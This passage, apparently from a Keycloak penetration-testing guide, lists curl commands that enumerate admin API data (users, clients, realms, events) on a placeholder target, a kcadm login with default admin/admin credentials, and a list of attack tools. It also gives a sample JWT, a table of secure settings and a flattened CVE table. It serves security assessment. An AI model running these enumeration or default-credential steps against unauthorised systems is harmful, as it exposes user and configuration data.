    curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms
    # Get realm details
    curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}
    # Get all users
    curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/users
    # Get user details
    curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/users/{user-id}
    # Get all clients
    curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/clients
    # Get client details
    curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/clients/{client-uuid}
    # Get identity providers
    curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/identity-providers
    # Get authentication flows
    curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/authentication/flows
    # Get events
    curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/events
    # Get server info
    curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/serverinfo
    # Get components (user storage, etc.)
    curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/components

    common jwt payloads

    // Keycloak access token with realm roles
    {
    "exp": 1234567890,
    "iat": 1234567800,
    "auth_time": 1234567800,
    "jti": "uuid",
    "iss": "https://target.com/auth/realms/myrealm",
    "sub": "user-uuid",
    "typ": "Bearer",
    "azp": "client-id",
    "session_state": "session-uuid",
    "acr": "1",
    "allowed-origins": ["https://app.example.com"],
    "realm_access": {
    "roles": ["user", "admin"]
    },
    "resource_access": {
    "client-id": {
    "roles": ["role1", "role2"]
    }
    },
    "scope": "openid email profile",
    "email_verified": true,
    "name": "John Doe",
    "preferred_username": "johndoe",
    "email": "john@example.com"
    }

    key default values to check

    SettingDefaultShould Be
    bruteForceProtectedfalsetrue
    sslRequiredexternal (or none in dev)all
    registrationAllowedfalsefalse
    verifyEmailfalsetrue
    editUsernameAllowedfalsefalse
    passwordPolicynullSet appropriate policy
    accessTokenLifespan300 (5min)Consider shorter
    ssoSessionIdleTimeout1800 (30min)Depends on use case
    offlineSessionIdleTimeout2592000 (30 days)Consider restricting
    hostnameStricttrue (prod)true
    signatureAlgorithmRS256Consider ES256 or PS256

    scopes and claims quick reference

    ScopeClaims Included
    openidsub
    profilename, family_name, given_name, preferred_username, profile, picture, website, gender, birthdate, zoneinfo, locale, updated_at
    emailemail, email_verified
    addressaddress (structured)
    phonephone_number, phone_number_verified
    offline_accessOffline refresh tokens
    uma_authorizationUMA permission tickets
    web-originsAllowed CORS origins
    role_listRole mappings

    appendix a: cve reference table

    CVEYearTypeComponent
    CVE-2020-16972020Open RedirectAuthorization Endpoint
    CVE-2020-17182020XSSAccount Console
    CVE-2020-17152020User InjectionLDAP Federation
    CVE-2021-202502021DeserializationVarious
    CVE-2022-43612022XSSAccount Console
    CVE-2023-01032023Request SmugglingOIDC
    CVE-2023-487952023SSH AttackInfrastructure
    CVE-2024-257102024DoSXML Parsing
    CVE-2024-271312024DeserializationVarious

    appendix b: tools

    Terminal window
    # Keycloak Admin CLI
    kcadm.sh config credentials --server https://target.com/auth --realm master --user admin --password admin
    kcadm.sh get realms
    kcadm.sh get users -r {realm}
    kcadm.sh get clients -r {realm}
    # JWT Tools
    jwt_tool.py <token> # JWT analysis and attack
    jwt.io # Online JWT decoder
    jwts.rb # Ruby JWT tool
    # OAuth Tools
    oauth2-client.py # OAuth2 client for testing
    Burp Suite Intruder # Parameter fuzzing
    FFuF / Gobuster # Path/domain fuzzing
    sqlmap # SQL injection (if DB backend exposed)

    appendix c: reading list

    1. Pentesting Keycloak Part 1 - CSA Cyber
    2. Pentesting Keycloak Part 2 - CSA Cyber
    3. Keycloak Server Admin Guide
    4. Keycloak Authorization Services
    5. OAuth 2.0 Security Best Current Practice
    6. OAuth 2.0 Threat Model (RFC 6819)
    7. OpenID Connect Core 1.0
    8. FAPI Security Profile
    9. UMA 2.0 Specification
    10. RFC 9449 - DPoP